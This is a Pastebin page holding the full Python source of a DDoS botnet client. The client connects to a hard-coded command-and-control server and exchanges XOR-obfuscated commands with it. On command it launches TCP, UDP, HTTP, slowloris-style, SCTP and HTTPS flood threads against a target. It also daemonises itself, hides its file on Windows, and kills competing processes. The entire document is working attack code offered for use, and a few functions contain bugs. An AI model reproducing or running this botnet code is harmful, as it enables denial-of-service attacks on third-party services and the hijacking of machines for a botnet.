Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python3
- import socket, ssl, sys, os, time, random, threading, base64 as b64, requests
- #config
- cnc = "192.180.119.13"
- cport = 6098
- single_instance_port = 42026#You should knew this if u used mirai.
- key = "asdfghjkloiuytresxcvbnmliuytf"#xor key, don't edit it if u don't know wtf is this
- useragents=["Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1",
- "Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1",
- "Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
- "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0",
- "Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1",
- "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2",
- "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0",
- "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0",
- "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
- "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
- "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27",
- "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1",
- "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7",
- "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
- "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
- "Mozilla/5.0 (Linux; Android 7.1.1; MI 6 Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/043807 Mobile Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
- "Mozilla/5.0 (Linux; Android 7.1.1; OD103 Build/NMF26F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",
- "Mozilla/5.0 (Linux; Android 6.0.1; SM919 Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
- "Mozilla/5.0 (Linux; Android 5.1.1; vivo X6S A Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
- "Mozilla/5.0 (Linux; Android 5.1; HUAWEI TAG-AL00 Build/HUAWEITAG-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043622 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",]
- acceptall = [
- "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
- "Accept-Encoding: gzip, deflate\r\n",
- "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
- "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: iso-8859-1\r\nAccept-Encoding: gzip\r\n",
- "Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",
- "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n",
- "Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\r\nAccept-Language: en-US,en;q=0.5\r\n",
- "Accept: text/html, application/xhtml+xml, image/jxr, */*\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
- "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n,"
- "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\n",
- "Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
- "Accept: text/html, application/xhtml+xml",
- "Accept-Language: en-US,en;q=0.5\r\n",
- "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n",
- "Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",]
- stop = False#threads control
- def HTTPS(url, path):
- global stop
- while True:
- if stop :
- break
- try:
- r = requests.Session()
- if "https://" not in url:
- target = "https://" + url
- for agent in useragents:
- a = acc.split(":")[0]
- b = acc.split(":")[1]
- headers = {
- "User-Agent": agent
- }
- dat = str(random._urandom(65507) * 30)
- data = {
- 'None-Type': dat
- }
- r.delete(target, headers=headers, data=data)
- except:
- pass
- def SCTP(ip, port):
- global stop
- while True:
- if stop :
- break
- try:
- sctp_socket = socket.socket(socket.AF_INET, socket.IPPROTO_SCTP)
- sctp_socket.sendto(b'\033\011\000', (ip, port))
- except:
- pass
- def LOADBALENCER(ip, port, timeout):
- global stop
- while True:
- if stop :
- break
- try:
- load_bypasser = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- load_bypasser.settimeout(2)
- load_bypasser.connect((str(ip), int(port)))
- load_bypasser.send(b'\000\000\000\000')
- except:
- load_bypasser.close()
- time.sleep(3)
- def HTTP(ip, port, path):
- global stop
- while True:
- if stop :
- break
- get_host = "GET "+path+"?"+str(random.randint(0,50000))+" HTTP/1.1\r\nHost: " + ip + "\r\n"
- connection = "Connection: Keep-Alive\r\n"
- useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
- accept = random.choice(acceptall)
- http = get_host + useragent + accept + connection + "\r\n"
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- try:
- s.connect((str(ip), int(port)))
- if port == 443:
- s = ssl.wrap_socket(s)
- for y in range(100):
- s.send(str.encode(http))
- #s.close()
- except:
- s.close()
- def APACHE(ip, port, path):
- global stop
- socket_list = []
- get_host = "GET "+path+"?"+str(random.randint(0,50000))+" HTTP/1.1\r\nHost: " + ip + "\r\n"
- connection = "Connection: Keep-Alive\r\n"
- useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
- accept = random.choice(acceptall)
- header = get_host + useragent + accept + connection
- for _ in range(2000):
- try:
- if stop:#if stop=False then countine
- break
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((str(ip), int(port)))
- if port == 443:
- s = ssl.wrap_socket(s)
- s.send(str.encode(header))
- socket_list.append(s)
- except:
- pass
- while True:#loop
- if stop:#if stop=False then countine
- break
- for s in list(socket_list):
- try:
- s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
- except socket.error:
- socket_list.remove(s)
- for _ in range(2000)-len(socket_list):
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((str(ip), int(port)))
- if port == 443:
- s = ssl.wrap_socket(s)
- s.send(str.encode(header))
- socket_list.append(s)
- except:
- pass
- #go back to line 100
- def TCP(ip, port):#connection flood
- global stop
- while True:
- if stop :
- break
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((str(ip),int(port)))
- if port == 443:
- s = ssl.wrap_socket(s)
- s.send(("\000" * 200).encode())
- s.close()
- except:
- s.close()
- def UDP(ip, port):#udp flood(best size is 512-1024, if size too big router may filter it)
- global stop
- while True:
- if stop :
- break
- udpbytes = random._urandom(65507)
- sendip=(str(ip),int(port))
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- try:
- for y in range(100):
- s.sendto(udpbytes, sendip)
- s.close()
- except:
- s.close()
- def handle(sock):
- global stop
- attack = 0
- sock.send(xor_enc("1337",key).encode())#login code
- while True:
- tmp = sock.recv(1024).decode()
- if len(tmp) == 0:
- break#return main loop
- #print(tmp)
- data = xor_dec(tmp,key)
- if data[0] == '~':
- try:
- command = data.split()
- if command[0] == xor_dec('HwcHFg==',key):
- if attack != 0:
- stop = True
- attack=0
- stop = False
- for x in range(int(command[3])):
- p = threading.Thread(target=TCP, args=(command[1],command[2]))
- p.start()
- attack+=1
- elif command[0] == xor_dec('HxsQEhc=',key):
- if attack != 0:
- stop = True
- attack=0
- stop = False
- for x in range(int(command[3])):
- p = threading.Thread(target=HTTP, args =(command[1],command[2],command[4]))
- p.start()
- attack+=1
- elif command[0] == xor_dec('HxIUBwQADw==',key):
- if attack != 0:
- stop = True
- attack=0
- stop = False
- for x in range(int(command[3])):
- p = threading.Thread(target=APACHE, args =(command[1],command[2],command[4]))
- p.start()
- attack+=1
- elif command[0] == xor_dec('HwYAFg==',key):
- if attack != 0:
- stop = True
- attack=0
- stop = False
- for x in range(int(command[3])):
- p = threading.Thread(target=UDP, args =(command[1],command[2]))
- p.start()
- attack+=1
- elif command[0] == xor_dec('Hx8LBwM=',key):
- if attack != 0:
- stop = True
- attack=0
- stop = False
- for x in range(int(command[3])):
- p = threading.Thread(target=LOADBALENCER, args =(command[1],command[2],command[4]))
- p.start()
- attack+=1
- elif command[0] == xor_dec('HwAHEhc=',key):
- if attack != 0:
- stop = True
- attack=0
- stop = False
- for x in range(int(command[3])):
- p = threading.Thread(target=SCTP, args =(command[1], command[2]))
- p.start()
- attack+=1
- elif command[0] == xor_dec('HxsQEhcb',key):
- if attack != 0:
- stop = True
- attack=0
- stop = False
- for x in range(int(command[3])):
- p = threading.Thread(target=HTTPS, args=(command[1], command[2]))
- p.start()
- attack+=1
- elif command[0] == xor_dec('HwAQCRc=',key):
- stop = True
- attack = 0#clear attack list
- elif command[0] == xor_dec('QBgNCgs=',key):
- sock.close()
- return 1
- except:
- pass
- if data == xor_dec("DBIWDQg=",key):
- sock.send(xor_enc("polo",key).encode())
- return 0
- def daemon():#daemon
- pid = os.fork()#first fork
- if pid:
- os._exit(0)
- os.chdir('/')
- os.umask(0)
- os.setsid()
- _pid = os.fork()#second fork for careful, prevent the process from opening a control terminal again
- if _pid:
- os._exit(0)
- sys.stdout.flush()#Refresh buffer
- sys.stderr.flush()
- sys.stdin.close()#off the stdin,stdout,stderr, indeed no need.
- sys.stdout.close()#windows can't use this method, only can use pyinstaller's option '--noconsole'
- sys.stderr.close()
- def kill_port(port):#search in google
- # find pid
- if os.name == "nt":
- result = os.popen("netstat -aon | findstr " + str(port))
- text = result.read()
- gpid = text.strip().split(' ')[-1]
- # kill pid
- result = os.popen("taskkill -f -pid "+ str(gpid)+" >nul 2>&1")
- else:
- os.system("fuser -k -n tcp "+str(port))
- def single_instance():
- try:
- s = socket.socket()
- s.bind(('127.0.0.1',single_instance_port))
- s.listen(1)
- while True:
- global kill
- if kill:
- break
- a, addr = s.accept()
- a.close()
- except:
- try:
- kill_port(single_instance_port)
- single_instance()
- except:
- os.system("kill "+os.getppid())
- os._exit(0)
- def conn():
- if len(sys.argv) == 1:
- if os.name != "nt":
- daemon()
- else:
- os.system("attrib +s +a +h "+sys.argv[0])#hide the file
- global kill
- kill = False
- threading.Thread(target=single_instance,daemon=True).start()
- while True:#magic loop
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
- s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
- s.connect((cnc,cport))
- signal = handle(s)
- if signal == 1:
- if os.name != "nt":
- sys.stdin = open("/dev/stdin")#off the stdin,stdout,stderr, indeed no need.
- sys.stdout = open("/dev/stdout")#windows can't use this method, only can use pyinstaller's option '--noconsole'
- sys.stderr = open("/dev/stderr")
- kill = True
- break
- except:
- time.sleep(5)
- pass
- #xor enc part#
- def xor_enc(string,key):
- lkey=len(key)
- secret=[]
- num=0
- for each in string:
- if num>=lkey:
- num=num%lkey
- secret.append( chr( ord(each)^ord(key[num]) ) )
- num+=1
- return b64.b64encode( "".join( secret ).encode() ).decode()
- def xor_dec(string,key):
- leter = b64.b64decode( string.encode() ).decode()
- lkey=len(key)
- string=[]
- num=0
- for each in leter:
- if num>=lkey:
- num=num%lkey
- string.append( chr( ord(each)^ord(key[num]) ) )
- num+=1
- return "".join( string )
- if __name__ == '__main__':
- # time.sleep(30+random.randint(0,60))
- conn()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement